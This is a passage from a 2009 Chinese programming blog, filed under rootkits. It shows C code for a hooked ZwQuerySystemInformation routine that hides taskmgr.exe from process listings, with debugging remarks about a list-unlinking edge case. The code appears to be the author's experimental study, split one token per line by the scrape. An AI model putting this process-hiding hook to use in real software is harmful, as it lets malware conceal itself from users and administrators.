Posted on 2009-10-27 17:32
S.l.e!ep.¢% 阅读(319)
评论(0) 编辑 收藏 引用 所属分类:
RootKit
[资料] http://www.cppblog.com/sleepwom/archive/2009/10/24/99375.html
NTSTATUS MyZwQuerySystemInformation(IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
//
定义自己的Hook函数
{
NTSTATUS rc;
UNICODE_STRING process_name;
RtlInitUnicodeString(
&
process_name, L
"
taskmgr.exe
"
);
rc
=
(OldZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if
(NT_SUCCESS(rc))
{
if
(
5
==
SystemInformationClass)
{
struct
_SYSTEM_PROCESSES
*
curr
=
(
struct
_SYSTEM_PROCESSES
*
)SystemInformation;
struct
_SYSTEM_PROCESSES
*
prev
=
NULL;
if
(curr
->
NextEntryDelta)
curr
=
(_SYSTEM_PROCESSES
*
)((ULONG)curr
+
curr
->
NextEntryDelta);
while
(curr)
{
if
(RtlEqualUnicodeString(
&
process_name,
&
curr
->
ProcessName,
1
))
{
KdPrint((
"
hide process'name taskmgr.exe
"
));
if
(prev)
{
if
(curr
->
NextEntryDelta)
{
prev
->
NextEntryDelta
+=
curr
->
NextEntryDelta;
}
else
{
prev
->
NextEntryDelta
=
0
;
}
}
else
{
if
(curr
->
NextEntryDelta)
{
SystemInformation
=
(PVOID)((ULONG)SystemInformation
+
curr
->
NextEntryDelta);
}
else
{
SystemInformation
=
NULL;
}
}
if
(curr
->
NextEntryDelta)
curr
=
(_SYSTEM_PROCESSES
*
)((ULONG)curr
+
curr
->
NextEntryDelta);
else
{
curr
=
NULL;
break
;
}
}
//
if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
if
(curr
!=
NULL)
{
prev
=
curr;
if
(curr
->
NextEntryDelta)
curr
=
(_SYSTEM_PROCESSES
*
)((ULONG)curr
+
curr
->
NextEntryDelta);
else
curr
=
NULL;
}
//
if(curr != NULL)
}
//
while(curr)
}
//
if(5 == SystemInformationClass)
}
//
if(NT_SUCCESS(rc))
//
KdPrint(("HookZwQuerySystemInformation is Succeessfully. \n"));
return
rc;
}
使用自己的查询进程EXE(
HOOK SSDT Hide Process (五) ),显示结果是正常的
驱动中判断的是
taskmgr.exe ,在遍历时,
taskmgr.exe 刚好在最好一个,把
NextEntryDelta 设置为 0 了
如果是其它的 abc.exe ,然后再打开 taskmgr.exe 是没问题的
看来,HOOK SSDT Hide Process (五) 遍历进程的实现 跟 Taskmgr.exe 的实现有差异, 需要再找时间看下原因
从 MyZwQuerySystemInformation() 的实现来看,只是简单地修改了下 NextEntryDelta ,并非真正意义上的'隐藏'
还是会把数据传给用户态。